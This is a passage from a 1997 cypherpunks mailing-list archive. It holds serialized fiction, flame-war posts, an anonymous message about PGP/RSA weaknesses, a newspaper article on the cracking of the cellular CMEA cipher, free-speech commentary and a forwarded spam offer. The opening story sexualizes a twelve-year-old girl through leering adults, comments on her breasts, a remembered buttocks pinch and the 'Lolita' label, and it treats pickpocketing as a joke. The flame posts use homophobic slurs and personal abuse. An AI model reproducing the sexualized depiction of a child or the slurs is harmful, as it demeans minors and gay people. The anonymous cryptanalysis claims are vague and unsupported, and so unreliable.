I am not 'mad'. I am not...I am not...I am not.


Breasts


Bubba awoke from his 'nap' the minute that the young man was gone.

"Well, you certainly seemed to take more of a shine to this
Jonathan fellow than to most of the other young men who come around."

"No," Alexis responded casually, "it's just that
he wore his pants so low that I had a lot of trouble getting his
wallet." She handed it to Bubba under the table and he slipped
it into an inner pocket of his robe.
"Besides, I think I'm in love with the Cowboy."

"Oh,?", Bubba feigned surprise, "Are you telling
me that my closest and dearest friend is also my main rival in
my pursuit of your affections?"

"Bubba, you know that I'm 'too much woman' for just one man.",
Alexis giggled like a schoolgirl (which, in fact, she was, when
not hanging out in bars with lecherous old men long-rumored to
lean towards pedophilia).

Bubba smiled at her youthful bravado in proclaiming herself to
be a 'woman of the world'-which reminded him,
"And when did you turn thirteen? Did I miss the 'big day'
of your entry into 'teenage-hood', or whatever it's called?"

"Oh, I'm not thirteen for another three weeks yet. I just
thought that I'd better practice a little, beforehand, so that
I can be good at being a teenager."
Alexis sat for a few moments, lost in contemplation of her new
love, before continuing,
"Cowboy is always staring at my eyes; he makes my eyes feel
beautiful. I don't think he's even noticed that I have
breasts.", she said, pouting just the slightest little bit.

"If he hasn't noticed," Bubba replied, looking
the young lady up and down with his best, lecherous grin, "then
I think he could be declared legally blind." 

"BUBBA!"

Bubba didn't have to look up to know that Alexis's mother had
arrived.

"I saw the way that you were looking at my daughter! Keep
your damn hands in your pockets, if you know what's good for you."

"Not to worry, Priscilla," Bubba told her as she bent
to give him a kiss on the cheek, "it seems that she yearns
for another, that my quest for her affections has come to naught."

"And who is the lucky boy?", Priscilla teased her daughter.

Alexis and Bubba answered in unison, saying,
"The Cow-boy."

"Lordy, lordy." Priscilla raised her eyes to the sky,
in apology. "What kind of mother am I, raising my daughter
around the likes of you two 'rounders'?"

"She's worried that the Cowboy hasn't noticed that she has
breasts," Bubba volunteered, making it sound like
a matter of great import.

"Lordy, girl. If he hasn't, then we'd better check
him for a pulse, because your boobs were bigger than mine when
you were turning eleven, girlie. And he sure enough has
been trying to get his hands on mine."

"They're breasts, mother, not 'boobs'." Alexis
always got perturbed with her mother's lack of social etiquette
in Bubba's presence."

"Well, excuse me, young lady. Just take my word for
it that he has noticed your breasts. Trust me on
this, I have a hunch about it."

"Well," Alexis said, looking back in remembrance, "I
guess maybe you're right." She paused for dramatic effect,
as any mature 'woman of the world' would do when recounting the
brighter moments of her 'love life.'
"After all, on my eleventh birthday, he did pinch
me on the buttocks and say, 'Oh, to be thirty-five, again.'"

"Lawdy, lawdy, Miss Clawdy." Priscilla swore (an epitaph
passed down through the Masters of Antiquity), "When I die,
I'm going to go straight down to the abode of the Evil One, for
the company that I let you keep."

"Actually," Bubba broke in, changing the subject slightly,
"she did kind of take a shine to a younger fellow who dropped
in to visit a short while ago."
Bubba slipped Priscilla the wallet from beneath his robe. She
nodded, and placed it in her purse.

"Well, I certainly hope that my darling Alexis didn't tease
the poor boy too much. Honestly, I think she enjoys
flaunting her body in front of these men to distract them. She's
been a regular Lolita, lately."

Alexis just smiled like a Cheshire cat. She did, indeed, still
enjoy toying with that 'special power' she found out that she
had-the power to make both boys and grown men stutter and drool
on themselves in their efforts to please and impress her. After
all, if you 'have it', then you might as well put it to use for
a good purpose.

"I'll see that someone goes by tonight to return the young
man's wallet and have a chat with him." Priscilla told Bubba
in a quiet voice.

"You might go see him yourself, mother." Alexis couldn't
resist saying. "He's kind of cute, and I've already got him
warmed up for you."

"Honestly, girl. You'd think I was a strumpet, just doing
this to take advantage of the young men that come through here
to meet Bubba."

"Well...?" Alexis grinned at her mother.

"Well, what?", Priscilla said, knowing she was
trapped.

"Well, what about that nice young man, Benjamin that you
enlisted last week? I seem to remember the sun being up well before
you came home the next morning.", Alexis grinned wickedly,
knowing her mother had no escape from the facts, as established.

"Well...Well, never mind. End of story." 

Alexis, relishing her mother's embarrassment, merely sat silently,
grinning like the Cheshire cat. Bubba, however, thought now was
a good time to bring up a delicate matter that would sooner or
later need to be addressed. He began lightly enough.

"It seems to me, Priscilla, that if you are helping to enlighten
the younger generation to the benefits of maturity in choosing
a lover, that you could hardly complain, should Cowboy choose
to do the same."

Priscilla was not in the least nonplused by Bubba's attempt to
corner her with questionable logic.
"Bubba, I limit myself to moving downward just a single generation
for my sexual pleasures, though I'm sure that you find that concept
a bit hard to understand. Besides, I've taught Alexis that she
should breed only within her species, which puts you out
of the picture, and outside of my circle of suitors, which puts
the Cowboy out of the picture."

Bubba was grateful that she had given him precisely the kind of
opening he needed to pursue the point he was really angling to
raise.
"I believe what may be more pertinent than the 'picture'
that the Cowboy may be 'in' or 'out of', is the puzzling picture
I believe he is 'seeing' when he gazes upon your beautiful young
daughter, my dear lady."

"Bubba! Surely you don't mean...", but Priscilla
knew that was precisely what Bubba meant.

"Your lovely pre-pubescent offspring is enamored of the fact
that, despite her strikingly healthy physical endowments, the
Cowboy seems to look only into her eyes, with great appreciation
thereof.
"I would suggest, however, that his gaze is encompassing
a range much deeper than Alexis could possibly imagine, and that
what he sees there leaves him dazed and confused.
"When was the last time you are aware of the Cowboy becoming
'dazed and confused' as a result of reading one's inner aura?"

Priscilla merely sat, dumbfounded, staring first and Bubba, and
then at Alexis.


Chapter 5 - Unitary Oath / Chapter 6 - Breasts








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 20 Mar 1997 01:20:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cocksucker John Gilmore attempts to rewrite history again
In-Reply-To: <B0Fu4D28w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970320041843.25017D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


This cocksucker John Gilmore is gettign to be a BIG pain in the ass!

Now just why is it that most ALL problem peoiple like this are QUEER?

On Wed, 19 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 19 Mar 97 21:47:10 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com, freedom-knights@jetcafe.org
> Cc: sethf@athena.mit.edu
> Subject: Cocksucker John Gilmore attempts to rewrite history again
> 
> I've been reading a thread in the Usenet newsgroups alt.cypherpunks and
> comp.org.eff.talk. EFF, you may recall, is Cocksucker John Gilmore's setup,
> and a pair of Gilmore/EFF's stooges - llurch@quixote.stanford.edu (Rich
> Graves <rcgraves@disposable.com>) and sethf@athena.mit.edu (Seth
> Finkelstein) - have been posting lies in an effort to rewrite the recent
> events which have totally destroyed Cocksucker's reputation on the net.
> 
> Rich Graves wrote in article <5gl63i$4eu@quixote.stanford.edu>:
> 
> >comparing me to Vulis doesn't work, I don't think. He'd have
> >mailbombed the list subscribers at the drop of a hat; and in
> >the case of cypherpunks, he and GruBoursy did, to such an
> >extent that the list had to move from toad.com to cyberpass.net.
> >I'm sure I've disappointed some people by doing nothing of the
> >kind. Doesn't stop Seth from saying I'm obsessed, of course.
> 
> This is a lie. I haven't mailbombed cypherpunks. The list moved from
> toad.com to multiple sites because the readers no longer trusted Gilmore to
> host the list. In article <5gkfag$36o@quixote.stanford.edu> he also wrote:
> 
> >>In any case, I personally would not ever absolutely reject posts
> >>arbitrarily from someone if I was moderating a list, even if 99.9% of
> >>their posts were absolute junk.  (I've been in such situations---try
> >>moderating an biological evolution newsgroup and fend of all the
> >>creationists.)
> >
> >You've never met Dr. Vulis, then. Imagine 50 messages a day like this:
> >
> >http://infinity.nus.sg/cypherpunks/dir.archive-96.10.24-96.10.30/
> >
> >|Timmy May has tons of dandruff (and dried up semen) in his beard.
> >|Is he Jewish???
> >|
> >|---
> >|
> >|Dr.Dimitri Vulis KOTM
> >|Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> Rich is lying...
> 
> >Vulis also posted megabytes of Serdar Argic screeds, just to be annoying,
> >and with the stated intention of disrupting the list. That's called a
> >denial of service attack.
> 
> More lies. I haven't posted megabytes of Serdar Argic materials, and I have
> repeatedly stated that it is NOT my intention to disrupt the mailing list.
> 
> >While the cypherpunks move from toad.com to cyberpass.net was far from
> >ideal, it worked reasonably well because the list was aware of what was
> >happening.
> 
> Is that why John Gilmore is sending his minions to post lies and to
> confuse the readers about what was happening?
> 
> In response, sethf@athena.mit.edu (Seth Finkelstein) further wrote
> in article <5gmnuj$1ha@senator-bedfellow.MIT.EDU>:
> 
> >>>In any case, I personally would not ever absolutely reject posts
> >>>arbitrarily from someone if I was moderating a list, even if 99.9% of
> >>>their posts were absolute junk.  (I've been in such situations---try
> >
> >	Yes, Ram, I know you'd likely handle such a situation differently.
> >But as I keep saying, on a human level, I just can't work up any
> >criticism for Declan for not wanting to deal in any way shape or
> >form with a person who so frequently mudslings and smears him so much.
> 
> Again, this is not true. I disagree with many of the things Declan says, but
> I'm not smearing him and not slinging mud at him. I'm also not aware of
> having being banned from any forum Declan moderates, whatever that is.
> 
> Seth further has the audacity to praise John Gilmore for showing the
> "patience of a saint":
> 
> >	It wasn't up to Vulis level, absolutely. But I think taking
> >the junk from Vulis showed the patience of a saint.
> 
> This is actually very funny.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 20 Mar 1997 03:02:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Security
Message-ID: <199703201102.GAA30790@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


  I am passing along the following message, not because of my belief in
the accuracy or veracity of its contents, but merely because of the 
fact that it seems to have kept getting eaten up by various email
systems in the attempts to send it to its original destination.
  The first time it was sent via a remailer, it was bounced for ill-
defined reasons. The second time it was sent, the remailer was shut
down, and remains shut down.
  Efforts to send it through a second remailer also failed, with no
notice from the server of any problems being received. Other email
sent through the remailer at the same time encountered no difficulties.
  I am only noting the facts, here, not proferring any personal judge-
ments on the matter, although I have formed my own opinion as to the
meaning of these facts, particularly since I, myself, came by this 
post during the process of email interception.

> X-Anon-Password: XXXXXXXXXX
> X-Anon-To: XXXXXXXXXXX
> X-Anon-Name: XXXXXXXXXXXX

XXXXXXXXX,
 I thought I would reply privately to you, since you seem to
at least have a willingness to allow the possibility of compromises
to the security of the encryption methodologies behind PGP programs,
among others.

  To begin with, I'm not sure whether you realize it, or not, but the
Navy's spook tenacles run deeper, and extend further, than those of any
of the more notable or visibly involved agencies who lurk in the
background of security and privacy issues.
  One of the reasons for this is that their physical existence could be
said to mirror the Internet in many respects. The very nature of their
'global' home (the sea), has always permitted them access to people and
regions which are denied to others. Also, they are often in the position
to be involved in what looks to be merely the 'transporting' of people
and information.
  Whether providing escort services or getting drunk in foreign bars,
the expertise of naval intelligence has always lain in the area of
observation, first and foremost.

  By far the greatest tool of intelligence agencies on the Internet,
has been traffic analysis. Their techniques are sufficiently sophist-
icated that I would not be surprised to find out that they can tell
more about us from our Internet activity than can be learned from the
satellites capable of reading the newspaper over our shoulder as we
sit in the park.
  Traffic analysis involves all measurable quantum of information, the
chief concerns being the patterns and timing of data transfer, from
which everything ranging from content and motivation can be deduced.

  If you wish to think in terms of back-doors, then you would be well
advised to go beyond the concepts of 'passwords' and 'holes' and try
to think in terms of patterns and timing, and other such 'structures'
which are peripheral to concerns regarding 'code' and 'mathematics.'
  i.e. As well as considering the 'content' of what a program returned,
you must also consider 'when' the program returned the result, and
the patterns in the timing, as well as the content.
  An analogy could be made to a person who, being interrogated, answers
all questions with a predictable rhythm and then 'pauses,' however
slightly, in answering a certain question. You can see that what is
revealed by the 'content' of the answer can be greatly insignificant
compared to what is revealed by the 'delay' in answering.

  To expand your concept of 'back-doors' and 'holes,' you have to ask
questions such as:
  "Does it take a program or hardware longer to return a result of '0',
than to return a result of '1'?"
  "What factors can be introduced into the hardware and/or software
that can influence the patterns and/or timing of various processes
and the results they return?"
  "Can key searches be made more efficient by analyzing such things
as rhythm, syntax, etc? What 'details' or 'qualities' of an individual,
group, or 'arena of concern' can be analyzed for the purpose of being
able to group them into structures which can be searched for?"
  "How can 'assigning' a value to certain sequences of numbers be used
as a pattern to 'filter' the input data into a form which is easier to
analyze?"

  You are aware of 'tricks and techniques' that apply to mathematics
and are widely known.
  i.e. The process of shifting and adding numbers when multiplying by
the number '11'.
  However, what about those quantum of information which are of no
consequence to those seeking for the 'final result' of that multi-
plication? Can the peripheral effects of mathematic calculations
be used to analyze what has taken place, to narrow the scope of
inquiry?
  My nephew describes numbers as getting 'wider' as they get larger,
and he does quick checks of his result through his 'feel' for how
much 'wider' a number should be when he is done, even in complicated
equations which he ill-understands.
  (He reminds me of Steven Wright, who claims that someone told him
that his socks didn't match, and he replied, "Sure, they do. I go
by thickness.")

  I am currently working on a project which involves merging chaos
theory with traffic analysis and other processes to analyze the
effects that algorithms display when processed through the filters
of varying hardware and software structures and methodologies.
  The RSA algorithm and accompanying RSAREF subroutines were our
first focus, for the very reason that there were certain factions
behind the scenes of the Zimmerman/RSA agreement who seemed to
have an inordinate amount of interest in the subroutines being
chained to the algorithm (for reasons that have nothing to do
with patent protection).

  Those whose expertise goes far beyond my own in this area look at
the initial results of the analysis as confirming that their is a
'relationship' between the RSA algorithm and the RSAREF subroutines
which will enable them to break the system down into workable
units for fairly quick analysis.
  What is interesting is that the results from small probes into
other encryption systems show the same potential for exploitation
using varying analysis methodologies and processes.
  (One fairly well-known encryption routine is almost lame enough
to reveal its secrets to anyone with a pencil and a stopwatch, as
well as the file size and time it takes to encrypt.)

  While I would rather you didn't publicize the preceding information,
as a general rule, I think that is something that should be shared with
anyone who is seriously focusing their efforts on better methods of
encryption and analysis of encryption methodologies.
  I am aware of two other groups who are working along the same lines,
although with a narrower range of variables than ourselves, and I am
certain that there must be more than a few other entities out there
who are also pursuing this line of research.

  I would appreciate any comments you may have on the above, as well as
any suggestions you may have. (Despite having a post-graduate degree
in an area which required a thorough grounding in mathematics I may
have to refer any highly technical suggestions to those in the group
who dream in numbers, sunset to sunrise.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Mar 1997 04:20:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cell Phone Code Cracked
Message-ID: <1.5.4.32.19970320121221.006edfa4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


For details of the crack see the cryptographers' press release at: 

   http://www.counterpane.com/cmea.html

The New York Times, March 20, 1997, pp. A1, D2.

Code Set Up to Shield Privacy Of Cellular Calls Is Breached
 
By John Markoff

San Francisco, March 19 -- A team of well-known computer
security experts will announce on Thursday that they have
cracked a key part of the electronic code meant to protect the
privacy of calls made with the new, digital generation of
cellular telephones.

The announcement, intended as a public warning, means that --
despite their greater potential for privacy protection -- the
new cellular telephones, which transmit streams of digital
information in code similar to computer data, may in practice
be little more secure from eavesdropping than the analog
cellular phones, which send voice as electronic patterns
mimicking sound waves, that have been in use the last 15
years.

It was such eavesdropping, for example, that caused trouble
for Newt Gingrich when a Florida couple listened to his
cellular phone conversation in December about the
Congressional ethics inquiry.

Now that digital wireless networks are coming into use around
the nation, the breaking of the digital code by the team of
two computer security consultants and a university researcher
confirms fears about privacy that were raised five years ago
when the communications industry agreed under Government
pressure to adopt a watered-down privacy technology.

Several telecommunications industry officials said the
pressure came from the National Security Agency, which feared
that stronger encryption technology might allow criminals or
terrorists to conspire with impunity by cellular phones.

But independent security experts now say that the code is easy
enough to crack that anyone with sufficient technical skills
could make and sell a monitoring device that would be as easy
to use as a police scanner is.

Such a device would enable a listener to scan hundreds of
wireless channels to listen in randomly on any digital call
within a radius ranging from 1,000 feet to a number of miles.
Or, as with current cellular technology, if a specific person
was the target of an eavesdropper, the device could be
programmed to listen for any nearby digital call to that
person's telephone number.

Other possible transgressions would include using the device
to automatically harvest all calling card or credit-card data
transmitted with nearby digital wireless phones.
And, because of a loophole in the Communications Act of 1934,
making and selling such devices would not be illegal, though
actually using one would technically be against the law.

These monitoring devices are not yet available, but security
experts said that a thriving gray market was certain to
develop. And with technical details of the security system
already circulating on the Internet instructions for cracking
it will almost certainly make their way into the computer
underground, where code breaking and eavesdropping are pursued
for fun and profit.

Technical details of the security system were supposed to be
a closely guarded secret, known only to a tight circle of
industry engineers. But the researchers performed their work
based on technical documents that were leaked from within the
communications industry and disseminated over the Internet
late last year.

"The industry design process is at fault," said David Wagner,
a University of California at Berkeley researcher who was a
member of the team that broke the code. "We can use this as a
lesson, and save ourselves from more serious vulnerabilities
in the future."

Communications industry technical experts, made aware of the
security flaw earlier this year, have been meeting to
determine whether it is too late to improve the system's
privacy protections. Already the digital technology is in use
in metropolitan areas, including New York and Washington,
where either the local cellular networks have been modified to
support digital technology or where new so called wireless
personal communications services are being offered.

"We're already in the process of correcting this flaw," said
Chris Carroll, an engineer at GTE Laboratories, who is
chairman of the industry committee that oversees privacy
standards for cellular phones.

But Greg Rose, a software designer for the Qualcomm Inc. a
leader in digital cellular systems said that fixing the flaw
would be "a nightmare." Tightening the security system, Mr.
Rose said, would involve modifying software already used in
the computerized network switching equipment that routes
wireless digital telephone calls, as well as the software
within individual phones.

Currently, about 45 million Americans have cellular phones,
though most of them so far are based on an older analog
standard that offers no communications privacy. But cellular
companies are gradually converting their networks to the new
digital standard, and the new personal communications services
networks going into operation around the country also employ
the digital encryption system. Nearly a million P.C.S. phones
have been sold in the United States, according to cellular
industry figures.

Besides Mr. Wagner, the other researchers who cracked the code
were Bruce Schneier and John Kelsey of Counterpane Systems, a
Minneapolis consulting firm. Mr. Schneier is the author of a
standard textbook on cryptography.

The new digital wireless security system, which was designed
by cellular telephone industry engineers was never intended to
stop the most determined wiretappers.

But because digital calls are transmitted in a format
corresponding to the one's and zero's of computer language,
they are more difficult to eavesdrop on than conventional
analog calls, which are transmitted in electronic patterns.
And digital calls protected with encryption technology --
basically a mathematical formula in the software that
scrambles the signal -- would be all the harder for a third
party to listen to surreptitiously.

Because the encryption system that the industry adopted in
1992 was deliberately made less secure than many experts had
recommended at the time, privacy rights advocates have been
warning since that the code could be broken too easily. An
announcement Thursday that the code has indeed been cracked
would seem to bear out those concerns.

"This should serve as a wake-up call," said James X. Dempsey,
senior staff counsel for the Center for Democracy and
Technology, a public interest group. "This shows that
Government's effort to control encryption technology is now
hindering the voice communications industry as well as the
data and electronic communication realm."

Industry executives acknowledged that steps must be taken to
address the problem.

"We need strict laws that say it is illegal to manufacture or
to modify a device which is designed to perpetrate the illegal
interception of P.C.S. telephone calls," said Thomas E.
Wheeler, president of the Cellular Telephone Industry
Association, a Washington-based trade group.

Mr. Wheeler said the weaker privacy technology had been
adopted not just to appease the Government but because makers
of wireless communications hardware and software wanted to
embrace a technical standard that would meet export
regulations. Those rules, based on national security
considerations, sharply curtail the potency of American-made
encryption technology.

The three computer researchers who broke the code belong to an
informal group of technologists who believe strongly that
powerful data-scrambling technologies are essential to protect
individual privacy in the information age. These
technologists, who planned to release their findings in a news
release on Thursday, argue that the best way to insure that
the strongest security codes are developed is to conduct the
work in a public forum. And so they are sharply critical of
the current industry standard setting process which has made
a trade secret of the underlying mathematical formulas used to
create the security codes.

"Our work shows clearly why you don't do this behind closed
doors," Mr. Schneier said. "I'm angry at the cell phone
industry because when they changed to the new technology, they
had a chance to protect privacy and they failed."

Mr. Carroll, head of the industry's privacy committee, said it
planned to revise the process for reviewing proposed technical
standards.

[End]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba <bubba@dev.null>
Date: Thu, 20 Mar 1997 06:27:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 7-8
Message-ID: <33314967.4EAA@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Insanity

Nuthouse Number Nine is for the hard-core psychiatric
inmates. Looney Level 'Leven is for the terminally dangerous.
No one is released at this Level. No one gets out.

There is no 'insanity' as we knew it in the old days.
Back then, if you stepped off the beaten path, then you were considered
'weird'. If you stepped further off the well-traveled societal
by-ways, then you were considered 'disturbed'. If you went totally
out into hyberspace, however, then you were considered 'insane'.
But when TV came along, things began to change.
Nobody realized it at first, but there were signs. Marshal McLuhan
spotted it right away and wrote "The Medium Is The Message".
He was politely received during his own time and garnered a modicum
of acclaim, but no one really understood the depth of what he
was trying to explain.

Then it began happening.

A man, Charles Whitman, climbed to the top of a building
on the University of Texas campus, started blowing people away
with a high-powered rifle, and our new 'medium' carried it to
the world. TV was the 'medium'. An interesting new medium. 'Entertainment'...that's
what we called it.
Then another man decided to mimic good old Charlie. Then another...and
another. And 'nuts with guns' became a fad, with these events
beginning to happen on a regular basis. 'Nuts with guns' had their
fifteen minutes of fame, then quietly disappeared, and the fad
was seemingly over. 

But it had begun.

Zappa tried to warn us about TeleVision. "Watch
me and I'll bleed you, 'cause you eat the shit I feed you."
The 'flower children' of the sixties listened to him and applauded,
but they never really understood the true extent of the danger
he was espousing.
It kept happening-each time at a deeper level-with more
and more regularity. Bank robbers began learning the truly effective
techniques of their trade by watching the evening news for the
stories of the guys who got away. Prison inmates took notes during
fictional 'escape' movies and turned fiction to fact by mirroring
the movie-and it worked! 

TV, even with only a few paltry channels, still managed
to work its way into our life to such a great extent that it became
an extension of our reality, and eventually our reality became
an extension of TV. And then, slowly, TV began to 'become' our
reality.

And in the end, when we still had a chance-a slim
chance, but nevertheless a chance-WebTV exploded to 500 Channels
through the 'wonder of modern technology'and... we were doomed.


Freedom


Jonathan's mind was once again a confusing swirl of mixed-emotions
and troublesome thoughts. He was torn between the hard reality
of WebWorld, with its rigidly structured programming, and the
phantoms from his past, which brought back harsh memories, but
also brought remembrances of a time when everything seemed to
be happier, lighter, with an underlying current that suggested
the possibility of being...free.

Freedom. Jonathan shook his head slowly, not daring to believe
that his instincts were truly telling him that his world-view
had become so constricted and rigid that he had lost sight of
what the word really implied.
Jonathan let himself sink into his childhood memories, the shadows
surrounding him in his dimly lit room becoming an almost palpable
likeness of the figures from his past.

CypherPunks, Hackers, Phrackers and Phreaks. Mad Doctors and Freedom-Knights,
Mad Dogs and Englishmen.
Strains of a historical music figure, Joe Cocker, seemed to drift
across the room, carried on the wisps of light, blue smoke whose
pleasant aroma floated into the room from a point in time and
space which was miles away and long in the past.

Jonathan opened his eyes, looking once again at the ancient poster
from a festival called Woodstock, seeing the additions his grandfather
had improvised on it, which could only be seen in the flickering
rays of the blue-light which Jonathan had resurrected from parts
found at the Museum of Antiquities.
Jonathan could name them all: Country Joe McDonald, Joe Cocker,
Jimi Hendrix, Richie Havens, and a multitude of others. All of
them sporting, due to his grandfather's humorous addition to the
poster-tattoos.
He let out a loud roar of laughter, realizing that he had, at
one time, had this same poster hanging in his cubicle at headquarters,
not realizing until he had put together the blue-light mechanism,
that each and every figure on it proudly sported on their arms
an emblem that could have resulted in Jonathan's persecution,
and possibly even his death-the Mark of the Toad.

Jonathan laughed until the tears rolled down his cheeks, until
his ribs were racked with sharp pain. As he struggled to regain
his composure, he realized what his laughter and pain signaled,
and he began to slowly weep, his tears falling on his body, just
as his mother's tears had fallen on him so very long ago.
His tears became a river, carrying him back toward the point in
his youth where his mother's tears had signaled their flight away
from their past, away from the CypherPunks, and toward freedom.
He rode the river of tears once again, only this time the journey
was toward the CypherPunks, and toward freedom.

Jonathan thought of the legend of the headstone on the grave beside
that of Vice-Admiral D'Shauneaux's, the grave said to be reserved
for the last free man or woman remaining on the planet. He slowly
rose and looked in the full-length mirror on the wall beside him,
seeing himself, his present, his past, and flickering shadows
of his future.
He thought about the many years which he had spent closing himself
off from others, making certain that his tainted past remained
hidden in obscurity. Avoiding close emotional relationships, avoiding
physical intimacy. Avoiding situations in which he would be expected
to display his body to others.

Jonathan slowly removed his sweatshirt, pulling it over his head
and discarding it on the seat beside him. He stared in the mirror
at the symbol on his arm which he had even avoided looking at
himself for all these many lonely years. He stared at his left
arm and the tattoo upon it. A symbol which had caused him to live
his whole life in fear of discovery-the Mark of the Toad.

He thought about a poem which he had memorized that had been posted
to the CypherPunks list by a 10 year old child during the great
schism which had threatened to destroy the list, in a fight over
censorship concerns that blazed brightly when one of the founders
of the list decided to take it upon himself to 'purge' the list
of a troublesome subscriber and 'moderate' the postings that other
list members would receive.
Jonathan's grandfather had laughed uproariously when the post
was relegated to the 'flames' list that had been instituted, at
the thought that the mighty CypherPunks needed to be protected
from the words of a child.

Jonathan's lips moved lightly over the words, as a smile
spread across his face,
"You're CypherPunks,
"Don't bend over for the lamers.
"Don't whine and cry,
"Just keep on being flamers.

"Bitch and shout,
"Don't worry about the schisms.
"And don't let the Fascists take
"Your algorithms.

"Lamers come and go,
"So don't worry about their junk.
"Anarchists have <Delete> keys,
"They're Immortal CypherPunks."

The memory and the words brought Jonathan back to the present.

Anarchy. How long had it been since he had allowed himself to
repress all memory of the loud and boisterous rants and raves
on this subject during the late nights of CypherPunk revelry in
his grandfather's study? How long since he had allowed himself
to clearly see that it was not the CypherPunks who had ruined
his life, but the Dark Forces spreading throughout the land who
had decreed that those who espoused principles of privacy and
freedom were enemies of the people.

Jonathan drew himself up as he gazed in the mirror again, the
shadows of the past receding and leaving him standing alone, as
if he was, indeed, the last free man on the face of the earth.

He knew that he was no longer at any point in time or space, but
was standing at the nadir point in which legend meets reality,
where each man or woman walks alone and face only themselves as
the final judge of the meaning of their life and actions.

In that instant, Jonathan realized that the legend was wrong,
because he heard the echo of the Vice-Admiral's voice whispering
gently through the labyrinth of the communal mind of mankind,
and the voice was saying,
"Do something."

There was a knock on the door...


Chapter 7 - Insanity / Chapter 8 - Freedom








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 20 Mar 1997 08:12:19 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703172040.MAA23689@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970320090914.123976C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Mix wrote:

Pill time Vulis.

> Tim Mayflower's family tree goes straight 
> up. All of his ancestors were siblings, to 
> dumb to recognize each other in the dark.
> 
>      o o Tim Mayflower
>       o
>      \_/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Mar 1997 12:45:09 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: Report from Supreme Court on CDA arguments
In-Reply-To: <v03007814af562ae68de2@[168.161.105.191]>
Message-ID: <3.0.1.32.19970320124236.0062d868@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


One of the main arguments about technology for the good guys is that
the CDA's infringements on free speech are not the least restrictive
means for accomplishing their (claimed) objective - technology gives us
some options today (like censor-filters) - and advances in technology
_strengthen_ the pro-free-speech case, because they provide more alternatives
that are less restrictive than the censorship approach.

At 06:45 PM 3/19/97 -0500, Declan wrote:
>http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html
>     Justice Scalia, who noted that he uses a
>computer, pointed out that technology is rapidly
>changing. "So much of your argument is based on
>what's currently available," he said to Ennis.
>"This technology is changing so quickly. Is it
>possible that this statute is unconstitutional
>now but could be [constitutional] in four or five
>years?" Ennis replied: "Not as it's written."
>
>     During a subsequent press conference, Ennis
>added that indeed, the technology is changing,
>and is giving parents more control over what
>their children do and see online. "Precisely
>because the technology is changing, the
>government should not be trying to enforce this
>law," he said. The ACLU attorneys who joined
>Ennis were grinning: the justices appeared to
>understand the nature of communications online,
>noted that teens have rights, and focused on free
>speech, not porn.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lile Elam <lile@art.net>
Date: Thu, 20 Mar 1997 12:48:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Isn't this like a bad idea?
Message-ID: <199703202045.MAA16675@art.net>
MIME-Version: 1.0
Content-Type: text/plain



Hi folks,

Selling email addresses seems to me to be a bad idea. Wouldn't
it be better to have people sign up instead of this? I mean,
it looks like this is for spammers.

Who can I contact about this abuse?

thanks,

-lile

>From mick3@concentric.net Wed Mar 19 21:18:24 1997
Date: Thu, 20 Mar 1997 00:17:18 -0500 (EST)
Comments: Authenticated sender is <mick3@pop3.concentric.net>
From: "mick3@concentric.net" <mick3@concentric.net>
To: you@concentric.net
Subject: 1 MIO e-mail addresses for sale

Hello, and sorry to bug you...
If you are not a business owner, we apologize.
For Sale:  1 MILLION E-MAIL ADDRESSES FOR $95.00
or 2million for $ 155.00 - or 3 million for $ 195.00
Available on 3.5" disk or e-mail download.
These are fresh lists, no BS...plain ASCI format, one per line.
This is a one time mailing, you will not be contacted again.
Send check or money order to:

YMR - ADDRESS LIST
P.O. Box 654
Marysville, Ca 95901

( please specify, if you want 3.5" disk or have it sent via e-mail as *.zip file)
                        Questions? call Mick at (916) 741-2622

                 TO BE PROMTLY REMOVED, TYPE "REMOVE"


























































































































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 20 Mar 1997 13:00:42 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Report from Supreme Court on CDA arguments
